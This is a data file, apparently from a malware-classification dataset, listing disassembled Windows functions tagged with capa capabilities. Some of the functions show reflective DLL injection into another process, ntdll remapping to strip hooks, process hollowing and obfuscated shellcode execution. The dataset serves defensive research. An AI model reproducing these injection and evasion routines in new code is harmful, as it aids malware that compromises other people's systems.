joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009adf1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002267
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
je 0x14000225e
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x140002255
mov rcx, qword [rsp + 0x40]
movzx edi, r13w
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp r13w, word [rbx + 6]
jae 0x140002255
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r12, [rcx + rdx*8]
lea rcx, [r12 + 0x18]
lea rdx, str..text
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400021ff
inc di
cmp di, word [rbx + 6]
jb 0x1400021cc
jmp 0x140002255
mov edi, dword [r12 + 0x24]
lea r9, [rsp + 0x2b0]
add rdi, qword [rsp + 0x40]
mov r8d, 0x40
mov ebx, dword [r12 + 0x20]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r12 + 0x24]
mov r8d, ebx
add rdx, r15
mov rcx, rdi
call fcn.1400018b8
mov r8d, dword [rsp + 0x2b0]
lea r9, [rsp + 0x2b0]
mov rcx, rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x270
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
js 0x140002150

Function at 0x1400a066e
Capabilities:
Set registry value

Disassembly:
add qword [rsp], 0xffffffffbffabb1b
sub qword [rsp + 0x48], 0xffffffffbf919326
mov rsi, qword [rsp + 0x40]
js 0x1400ccd0a

Function at 0x1400ada97
Capabilities:
Enumerate process modules

Disassembly:
push rsi
pushfq
movabs rsi, 0x1b0aceb5943bc4bb
add esi, 0xf21816a4
jne 0x1400a3483

Function at 0x1400ade23
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
movsxd r8, r14d
mov r8, qword [rsp + 0x18]
and r14d, dword [rsp + 0x22]
not byte [rsp + r14*2 + 0x10]
add dword [rsp + r14*4 + 0x20], 0xe7084ab1
mov dword [rsp + r14*8 + 0x20], 0x1c0f1911
test word [rsp + r14 + 0x20], 0x6d23
call fcn.1400a5658
pushfq
push 0x14bfca1a
push rdx
mov rdx, qword [rsp + 8]
push r9
call fcn.1400d00f3
Function at 0x1400ade78
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1400012fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400012fc
mov edx, dword [rbp + 0x400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x1400012fc
mov r9d, dword [rbp + 0x400]
lea rax, [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov edx, r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400012ea
mov rcx, qword [r14]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [r14]
movzx edx, byte [rax]
sub edx, r13d
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov r12d, r13d
mov r15d, dword [rax]
jmp 0x1400012f1
mov r15d, dword [rbp + 0x400]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001303
mov r15d, dword [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x1400014bc
cmp r15d, 0x2000
jb 0x1400014bc
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400014bc
mov ecx, 0x10b
cmp word [rax + rdi + 0x18], cx
je 0x1400014bc
mov ecx, 0x20b
cmp word [rax + rdi + 0x18], cx
jne 0x1400014bc
mov edx, dword [rax + rdi + 0x88]
mov rcx, rdi
call fcn.140002010
mov r13d, eax
mov rcx, rdi
add r13, rdi
mov edx, dword [r13 + 0x20]
call fcn.140002010
mov edx, dword [r13 + 0x24]
mov rcx, rdi
mov r14d, eax
add r14, rdi
call fcn.140002010
mov r15d, eax
mov r12d, ebx
add r15, rdi
cmp dword [r13 + 0x18], ebx
jbe 0x1400014bc
mov edx, dword [r14]
mov rcx, rdi
call fcn.140002010
mov ecx, eax
lea rdx, str.ReflectiveDllMain
add rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x1400013d3
add r14, 4
add r15, 2
inc r12d
cmp r12d, dword [r13 + 0x18]
jb 0x14000139b
jmp 0x1400014bc
mov edx, dword [r13 + 0x1c]
mov rcx, rdi
call fcn.140002010
movzx ecx, word [r15]
mov eax, eax
add rax, rdi
mov edx, dword [rax + rcx*4]
mov rcx, rdi
call fcn.140002010
mov r12d, eax
test eax, eax
je 0x1400014bc
mov r15d, dword [rsp + 0x60]
mov r9d, 0x3000
mov r8d, r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400014bc
mov r9d, r15d
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push r15
pushfq
movabs r15, 0xa9875e1a6b1affa9
call fcn.140081277
push 0xffffffffd589c480
movabs rax, 0x2f39d53b2a372cab
mov byte [rsp + r11 - 0x71d7d915], cl
push rdx
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + r11 - 0x71d7d915]
jo 0x140001277
xor dword [rsp + r11 - 0x71d7d8dd], 0xbf88f781
or byte [rsp + 0x38], 0x31
xor cx, 0xf311
mov qword [rsp + r11 - 0x71d7d8e5], r11
lea rax, [rax - 0x1449fcee]
add dword [rsp + r11 - 0x71d7d8e5], 0x65ba1606
cmp byte [rsp + r11 - 0x71d7d8dd], 0xba
Function at 0x1400ade8a
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1400012fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400012fc
mov edx, dword [rbp + 0x400]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x1400012fc
mov r9d, dword [rbp + 0x400]
lea rax, [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov edx, r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400012ea
mov rcx, qword [r14]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [r14]
movzx edx, byte [rax]
sub edx, r13d
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov r12d, r13d
mov r15d, dword [rax]
jmp 0x1400012f1
mov r15d, dword [rbp + 0x400]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001303
mov r15d, dword [rbp + 0x400]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
je 0x1400014bc
cmp r15d, 0x2000
jb 0x1400014bc
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400014bc
mov ecx, 0x10b
cmp word [rax + rdi + 0x18], cx
je 0x1400014bc
mov ecx, 0x20b
cmp word [rax + rdi + 0x18], cx
jne 0x1400014bc
mov edx, dword [rax + rdi + 0x88]
mov rcx, rdi
call fcn.140002010
mov r13d, eax
mov rcx, rdi
add r13, rdi
mov edx, dword [r13 + 0x20]
call fcn.140002010
mov edx, dword [r13 + 0x24]
mov rcx, rdi
mov r14d, eax
add r14, rdi
call fcn.140002010
mov r15d, eax
mov r12d, ebx
add r15, rdi
cmp dword [r13 + 0x18], ebx
jbe 0x1400014bc
mov edx, dword [r14]
mov rcx, rdi
call fcn.140002010
mov ecx, eax
lea rdx, str.ReflectiveDllMain
add rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
jne 0x1400013d3
add r14, 4
add r15, 2
inc r12d
cmp r12d, dword [r13 + 0x18]
jb 0x14000139b
jmp 0x1400014bc
mov edx, dword [r13 + 0x1c]
mov rcx, rdi
call fcn.140002010
movzx ecx, word [r15]
mov eax, eax
add rax, rdi
mov edx, dword [rax + rcx*4]
mov rcx, rdi
call fcn.140002010
mov r12d, eax
test eax, eax
je 0x1400014bc
mov r15d, dword [rsp + 0x60]
mov r9d, 0x3000
mov r8d, r15d
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400014bc
mov r9d, r15d
mov qword [rsp + 0x20], rbx
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push r15
pushfq
movabs r15, 0xa9875e1a6b1affa9
call fcn.140081277
push 0xffffffffd589c480
movabs rax, 0x2f39d53b2a372cab
mov byte [rsp + r11 - 0x71d7d915], cl
push rdx
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + r11 - 0x71d7d915]
jo 0x140001277
xor dword [rsp + r11 - 0x71d7d8dd], 0xbf88f781
or byte [rsp + 0x38], 0x31
xor cx, 0xf311
mov qword [rsp + r11 - 0x71d7d8e5], r11
lea rax, [rax - 0x1449fcee]
add dword [rsp + r11 - 0x71d7d8e5], 0x65ba1606
cmp byte [rsp + r11 - 0x71d7d8dd], 0xba
Function at 0x1400b4244
Capabilities:
Encode data using xor

Disassembly:
jns 0x14008adb4
call [rdx - 0x3da097ac]
test byte [rdi + rax*2], bl
mov edx, 0xea9f84dc
adc al, 0x98
call [rsi - 0x24]
mov eax, 0xfc7cda67
invalid

Function at 0x1400b6d77
Capabilities:
Enumerate process modules

Disassembly:
shl dword [rsp], 0x39
mov dl, byte [rsp + 0x46]
ja 0x1400cb2fb
test dword [rcx], eax
jle 0x1400b6d08
in eax, 0xb9
scasb al, byte [rdi]
xlatb
cmp eax, 0xbdcb4679
int1
invalid
shl rsi, 0x15

Function at 0x1400c1f03
Capabilities:
Read file on windows

Disassembly:
call qword [sym.imp.KERNEL32.dll_ReadFile]
not r14w
setg byte [rsp + r14 - 0x2ac36a7]
jne 0x140002952

Function at 0x1400c947c
Capabilities:
Encode data using base64
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
lea rax, [rax + 0x1c1ceab8]
jbe 0x140056d37
mov qword [rsp + 0x38], rbp
setns byte [rsp + 0x20]
sub qword [rsp + 0x20], 0x80f1dbc
lea rbp, [rbp + rbp + 0x5797c78b]
xchg qword [rsp + 0x48], rax
mov rbp, qword [rsp + 0x30]
neg qword [rsp + 0x20]
not word [rsp + 0x20]
call fcn.14000ca74
neg rsi
not dl
shr r10, 0x92
mov rsi, qword [rsp + 0x48]
add dword [rsp + r10*4 - 0x7690], edx
call fcn.140022356
jge 0x140015670
jg 0x1400b737a

Function at 0x1400c9482
Capabilities:
Encode data using base64
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
add qword [rsp + 0x20], 0xfffffffffffd9bf1
mov r10, qword [rsp + 8]
and qword [rsp + 0x28], 0xffffffffe581ac2c
push r8
call fcn.1400dbdfa
jae 0x14006b1ea

Function at 0x1400c97d6
Capabilities:
Set registry value

Disassembly:
mov r10w, 0xa8a1
movabs rdi, 0xb034c830dfac4a30
cmp dx, 0xc208
mov rdi, qword [rsp + 0x18]
mov rdi, qword [rdi]
jle 0x1400a652f

Function at 0x1400c9828
Capabilities:
Create thread
Set registry value

Disassembly:
mov rcx, qword [rsp + 0x18]
push r11
pushfq
movabs r11, 0xc18a58b9bf393001
cmp r11d, 0x962812ab
lea r11, [r11 + r11*8 - 0x115ad36d]
not r11d
lea rcx, [rcx + r11 - 0x58582362]
jb 0x140080b1c
jb 0x14008a015
add r11b, 0x26
jne 0x1400576f1
Function at 0x1400cb411
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
neg qword [rsp + 0x10]
and byte [rsp + 0x10], 0x3a
xor word [rsp + 0x10], 0x912b
push rdi
mov rdi, qword [rsp + 0x18]
seta dil
add qword [rsp + rdi + 0x6218dd0f], 0xfffffffffffd0c90
add word [rsp + rdi + 0x6218dd17], 0xf916
nop
mov rsi, qword [rsp + rdi + 0x6218dd17]
neg qword [rsp + rsi + 0x6218e3d9]
movsx di, byte [rsp + rdi + 0x6218dd19]
shl edi, 0x78
and dword [rsp + rdi - 0x17ffffe8], 0x1222992e
mov rsi, qword [rsp + rdi - 0x17fffff0]
mov rsi, qword [rsi + rdi - 0x18000000]
shr qword [rsp + rdi - 0x17ffffe8], 0xc8
ja 0x1400baef7
vmwrite rcx, qword [rcx - 0x55f36d7b]
in eax, dx
neg qword [rsp + 0x20]
mov r13, qword [rsp + 0x30]
test dl, bpl
mov rbp, qword [rsp + 8]
not r13d
jle 0x1400c8c96
not r12b
jae 0x1400cb1fc
je 0x1400d2702
call fcn.14006a291
mov qword [rsp + 0x20], r13
lea rdx, [r13 + riz + 0x5da6c33a]
mov dword [rsp + 0x20], 0x212f10ac
or byte [rsp + 0x30], r9b
xchg qword [rsp + 0x40], rax
mov r9, qword [rsp + rdx - 0x5da6c3cd]
and r13, 0x62af4d98
shl r13d, 2
or rdx, qword [rsp + rdx - 0x5da6c3bd]
jge 0x14008ed05
shl byte [rsp + rdx - 0x7dafd3dd], 8
add qword [rsp], 0xfffffffffffb451f
call fcn.1400ad5a5
mov qword [rsp + 0x10], 0x2508460d
push qword [rsp + 8]
popfq
lea rsp, [rsp + 0x20]
ret
jb fcn.1400d2914
and r12b, byte [rsp + 0x3d]
setle r12b
push r9
push r15
xchg qword [rsp + 0x60], rbx
mov r12, qword [rsp + 0x28]
jbe 0x14000cafe
mov r9, r15
not r15b
call fcn.140092f38
shr qword [rsp + r8 + 0x30], 0x34
mov r8, qword [rsp + r8 + 0x50]
jb 0x1400c4b2d
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
jg 0x1400d5c26
mov rbp, qword [rsp + 0x30]
je 0x1400c0fc0
mov r13, qword [rsp + rbp - 0x73]
mov rdx, r13
or dx, dx
lea rax, [rax + rdx - 0x1449fd91]
shl edx, 0x3e
bswap rbp
shl rdx, 0x5e
jns 0x1400c8c51
shl r11d, 0x18
mov r14, r11
jae 0x1400077de
sub r14, r11
mov r11, qword [rsp + r14 + 0x18]
mov qword [rsp + 0x18], rdi
lea r14, [r14 + r14 + 0x4706bd16]
shr r14w, 0x98
shr r14, 0x8c
call fcn.1400c2bdf
Function at 0x1400d5842
Capabilities:
Read file on windows

Disassembly:
adc eax, 0x242dec
test eax, eax
je 0x140002c00
cmp dword [rbp + 0x390], 4
jne 0x140002c00
mov ebx, dword [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rbp + 0x380]
lea r9, [rbp + 0x390]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov rcx, rsi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002a97
mov ecx, dword [rbp + 0x380]
cmp dword [rbp + 0x390], ecx
jne 0x140002a97
movsxd rax, dword [r15 + 0x3c]
cmp dword [rax + r15], 0x4550
jne 0x140002a97
mov ecx, 0x10b
cmp word [rax + r15 + 0x18], cx
je 0x140002a05
mov ecx, 0x20b
cmp word [rax + r15 + 0x18], cx
jne 0x140002a97
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.140001db4
jmp 0x140002a97
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [rbp + 0x380]
add esi, 4
lea edi, [rax*2 + 2]
add esi, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movsxd r8, edi
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rbx, rax
call fcn.1400018b8
mov ecx, edi
lea rdx, [rbp + 0x380]
add rcx, rbx
mov r8d, 4
call fcn.1400018b8
mov r8d, dword [rbp + 0x380]
lea ecx, [rdi + 4]
add rcx, rbx
mov rdx, r15
call fcn.1400018b8
mov r8d, esi
mov ecx, r14d
mov rdx, rbx
call fcn.140002c18
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
jmp 0x140002bde
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140002c00
mov rbx, qword [rsp + 0x488]
add rsp, 0x450
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
push rbx
jo 0x1400adf53
bswap r15d
not r15w
cmp r15d, 0x51af1b25
lea rdi, [rdi + r15 - 0x21057ffe]
push 0x2cacb88f
mov rbx, qword [rsp + r15*2 - 0x420afffe]
jo 0x14008f264
je 0x140002953
jo 0x140050354
push rdi
neg qword [rsp + rbx*2 - 0x59597116]
mov qword [rsp + rbx - 0x2cacb857], rdi
sub word [rsp + rbx*2 - 0x59597116], 0x9403
call fcn.1400dadaf
push r15
pushfq
movabs r15, 0xc03e0cb80a8f65a1
and r15d, 0xb5a0053d
mov rdi, qword [rsp + r15*8 - 0x40028e8]
jne 0x140052581

Function at 0x1400d5b90
Capabilities:
Enumerate process modules

Disassembly:
sub byte [rsp + 8], r11b
mov r10, qword [rsp + 8]
xchg qword [rsp + 0x70], rbp
mov r11, qword [rsp + 0x20]
neg word [rsp + r10 - 0x52238b37]
xor word [rsp + r10 - 0x52238b97], r10w
xor r10d, 0xbfbb9282
and byte [rsp + 0x60], 0x82
jo 0x1400507a6
or byte [rsp + 8], 0xb
shr r10w, 0xa1
mov r10, qword [rsp + 0x10]
sub word [rsp + 8], 0x4f03
add qword [rsp], 0xffffffffbff790a7
mov byte [rsp + 8], 0
test word [rsp + 0x60], 0x7e00
push qword [rsp + 0x58]
popfq
lea rsp, [rsp + 0x70]
ret
Function at 0x1400daecf
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
shl word [rsp + 0x18], 0x2b
mov dword [rsp + 0x18], 0x1d181984
js 0x1400013b2
test bx, 0xfd38
lea rdi, [rdi - 0x7f45b85c]
push r11
push r8
mov r8, qword [rsp + 0x28]
je 0x140051387
xchg qword [rsp + 0x38], rdi
mov r8, qword [rsp + r8 - 0x1d181984]
call fcn.1400c9b91

Function at 0x1400dc6a5
Capabilities:
Read file on windows

Disassembly:
setb byte [rsp + 8]
test qword [rsp + 8], rsi
lea rsp, [rsp + 0x18]
ret
xchg qword [rsp + 0x38], rbx
mov r8, qword [rsp + 0x10]
mov qword [rsp + 8], rsi
add byte [rsp + 8], sil
jg 0x140056d27
or r8d, esi
not dword [rsp + 8]
lea rbx, [rbx - 0x5dcdbce4]
bswap esi
je fcn.14001b4d9
mov qword [rsp + 8], 0x20961186
shl word [rsp + 8], 0x5a
neg byte [rsp + 8]
jno 0x1400d5828
ror byte [rax + 0x13], 1
stosb byte [rdi], al
add byte [rax - 0x7d], bh
invalid
Function at 0x180001a80
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rdx, [0x180001a20]
lea rcx, [0x18000d51b]
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
add byte [rax - 0x77], cl
add eax, 0x16199
test rax, rax
je 0x180001bdd
mov qword [rsp + 0x30], rbx
lea rdx, [0x180017c18]
xor ebx, ebx
mov dword [0x180017c18], 0x20
mov rcx, rax
mov qword [0x180017c2c], rbx
mov qword [0x180017c24], rbx
mov dword [0x180017c20], 1
mov dword [0x180017c1c], 2
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor r9d, r9d
lea edx, [rbx + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [section..data], rax
test rax, rax
jne 0x180001b2e
mov qword [0x180017c1c], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x180017c24], eax
mov dword [0x180017c2c], 1
jmp 0x180001bba
mov rcx, qword [0x180017c38]
lea rdx, [0x180017c18]
mov dword [0x180017c20], 1
mov dword [0x180017c1c], 4
mov dword [0x180017c24], ebx
mov dword [0x180017c2c], ebx
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x180001bf0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180001b92
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [section..data]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x180017c1c], 1
mov dword [0x180017c24], ebx
mov dword [0x180017c2c], 3
mov rcx, qword [0x180017c38]
lea rdx, [0x180017c18]
mov rbx, qword [rsp + 0x30]
add rsp, 0x38
jmp qword [sym.imp.ADVAPI32.dll_SetServiceStatus]

Function at 0x1800020f0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140001000
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rbp
lea rbp, [rsp - 0x710]
sub rsp, 0x810
lea rax, [rbp + 0x728]
mov r9d, 0xf013f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREdialerconfig
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001099
jmp 0x14000104b
lea rdx, [rsp + 0x40]
invalid
invalid
loope 0x140001091
invalid
Function at 0x140001c64
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
xor esi, esi
mov word [rbp + 0x73], 0x100
lea rax, [rbp + 0x7f]
mov dword [rbp + 0x6f], esi
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov dword [rsp + 0x48], esi
lea rcx, [rbp + 0x6f]
mov dword [rsp + 0x40], esi
xor r9d, r9d
mov dword [rsp + 0x38], esi
xor r8d, r8d
mov dword [rsp + 0x30], esi
mov dl, 1
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001d9c
lea rax, [rbp + 0x17]
mov qword [rbp + 0x77], rax
lea ecx, [rsi + 0x30]
mov rax, qword [rbp + 0x77]
mov byte [rax], sil
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
sub rcx, 1
jne 0x140001ccc
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 9]
xor r8d, r8d
mov dword [rbp + 0x17], 0x1f01ff
lea rdx, [rbp + 0x17]
mov qword [rbp + 0x1b], 2
mov dword [rbp + 0x33], esi
mov dword [rbp + 0x37], 5
lea ecx, [r8 + 1]
mov qword [rbp + 0x3f], rax
call qword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
jne 0x140001d9c
lea edx, [rax + 0x28]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001d9c
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x140001d9c
mov r8, qword [rbp - 9]
xor r9d, r9d
mov rcx, rbx
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x140001d9c
lea rax, [rbp - 1]
mov dword [rbp - 1], 0x18
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov eax, 0x400
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], eax
mov r9d, 0xff
mov rcx, rdi
mov dword [rsp + 0x20], eax
lea edx, [r8 + 3]
mov qword [rbp + 7], rbx
mov dword [rbp + 0xf], esi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
jmp 0x140001da0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0xd0]
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001db4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xe0
xor edi, edi
mov r12, rdx
mov r15d, edi
mov r10, rcx
Function at 0x140002078
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
test rcx, rcx
je 0x14000228a
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rbx, rcx
lea rdx, [0x140003470]
lea rcx, [rsp + 0x60]
xor r13d, r13d
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
test rax, rax
je 0x140002270
lea edi, [r13 + 0x18]
lea rax, [rsp + 0x40]
mov edx, edi
mov qword [rsp + 0x2b8], rax
lea ebx, [rdi - 0x17]
mov rcx, qword [rsp + 0x2b8]
mov byte [rcx], r13b
mov rcx, qword [rsp + 0x2b8]
add rcx, rbx
mov qword [rsp + 0x2b8], rcx
sub rdx, rbx
jne 0x1400020e9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, edi
lea r8, [rsp + 0x40]
mov rcx, rax
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x140002267
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002267
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbp, rax
test rax, rax
je 0x14000225e
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x140002255
mov rcx, qword [rsp + 0x40]
movzx edi, r13w
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp r13w, word [rbx + 6]
jae 0x140002255
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r12, [rcx + rdx*8]
lea rcx, [r12 + 0x18]
lea rdx, str..text
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1400021ff
inc di
cmp di, word [rbx + 6]
jb 0x1400021cc
jmp 0x140002255
mov edi, dword [r12 + 0x24]
lea r9, [rsp + 0x2b0]
add rdi, qword [rsp + 0x40]
mov r8d, 0x40
mov ebx, dword [r12 + 0x20]
mov rcx, rdi
mov edx, ebx

Function at 0x140002328
Capabilities:
Extract resource via kernel32 functions
Set registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x90]
sub rsp, 0x190
lea rcx, str.ntdll.dll
call fcn.140002078
mov edx, 0x11c
lea rax, [rsp + 0x70]
mov ecx, edx
mov qword [rbp + 0xc0], rax
xor edi, edi
mov rax, qword [rbp + 0xc0]
mov byte [rax], dil
mov rax, qword [rbp + 0xc0]
inc rax
